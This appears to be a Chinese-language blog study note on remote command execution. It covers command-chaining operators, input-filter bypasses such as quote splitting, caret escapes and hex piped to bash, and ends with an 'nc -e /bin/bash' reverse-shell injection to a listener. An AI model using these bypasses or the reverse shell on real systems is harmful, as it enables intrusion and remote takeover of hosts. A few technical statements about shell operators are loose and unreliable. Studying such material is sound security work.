远程代码/命令执行漏洞学习(一)

远程代码/命令执行漏洞简称 RCE 全称 remote commend/code execute.

远程命令执行漏洞

1.了解

对操作系统进行命令的注入,简称命令植入,属于注入漏洞的一种。在软件中,因为业务的需要,会执行一些命令的执行操作,如ping操作。由此就会有概率产生远程命令执行漏洞。攻击者可以在操作系统原有的命令执行指令操作中添加额外的恶意指令操作。即对shell进行恶意指令的植入。

windows操作系统中,命令执行是cmd。Linux操作系统中,命令执行是console。

2.详解

成因分析

应用程序的一些特殊功能需要系统的命令函数来执行。如果在软件研发的过程中,没有对命令函数做出输入限制或限制很有限,那么就可以通过控制输入的内容,从而实现对操作系统的恶意注入,形成漏洞。


初步尝试

一般通过输入特定的命令关键字或特殊符号来进行检查。


远程命令的攻击执行手段

  1. cmd1;cmd2

(当没有对命令关键字或特殊符号进行输入限制的时候)

通过分号,将两个命令指令隔开。

在Linux操作系统下,执行完第一个命令后会执行第二个命令。在windows操作系统下,分号功能无效。

由此可以得出需要攻击的目标 他的操作系统是什么。

  1. cmd1&cmd2

&是后台运算符,会先执行命令1,然后将命令1放入后台,无论命令1是否执行,命令2都会执行。

就是说,使用&后,命令1可以随便输入,因为命令2都会执行,只需要命令2是所需指令即可。

  1. cmd1||cmd2

||是或运算符,先执行命令1再执行命令2。

如果1成功,则不执行2。如果1失败,则执行2。

  1. cmd1|cmd2

| 前一个命令的结果作为后一个命令的参数。

  1. cmd1&&cmd2

&&是与运算符,先执行1再执行2,但是只要1成功了才会执行2.

运算符只是组合我们的命令来造成恶意的效果,核心内容是命令指令本身。


远程命令漏洞预防:

过滤关键字符来进行预防

限制用户输入的内容,以及对关键的内容不进行运行的方式来进行预防和处理。


过滤规则的绕过

针对有限制输入的系统,有常见的绕过手段。

​ 1.加引号

如:whoami 指令 会得出系统管理员名称 但是被限制输入

可以加引号 变为who"am"i 可以绕过限制输入

​ 2.加^符号

^为转义字符,将字符转换成原有的字符,可以破坏关键字的形式 。

如: echo 指令被限制,可以使用e^cho ,经过转义后,还是echo,但

会限制输入只会检测echo四个字符,echo!=e^cho ,因为e^cho会被当成五个字符,因此可以绕过限制输入。

​ 3.设置变量

输入set a=whoami,(=两边不加空格) ,将a变为whoami

之后输入 cmd /c %a% 就可以得出管理员名称

​ 4.用分号可以代替空格

但是分号代替空格只能在windows系统下使用。Linux系统中,分号是分割两个命令指令。Linux一般使用单引号’'或斜杠\来绕过。

​ 5.文本转16进制

可以将命令指令转为16进制来代替执行。

如将echo aaa 转换成16进制

在Linux命令行中可以输入 echo 16进制数字 /xxd -r -p|bash

就可以转换成原本的命令指令,就可以绕过 过滤。


可以执行攻击后,有关渗透

​ 1.将目标电脑用自己电脑的端口号连接

Linux系统中,在自己的命令行窗口中监听一个端口号

nc -lvnp 8081 监听8081

在可以 进行命令行注入的地方输入

cmd1&nc -e /bin/bash 目标IP地址 8081

就可以在自己的电脑的命令行窗口中查询到目标电脑

如:输入whoami 会显示目标电脑的管理员名称

但是在docker(另一种Linux服务器)中不能用nc -e 可以使用bash -i的指令

猜你喜欢

转载自blog.csdn.net/love_wgll/article/details/129179893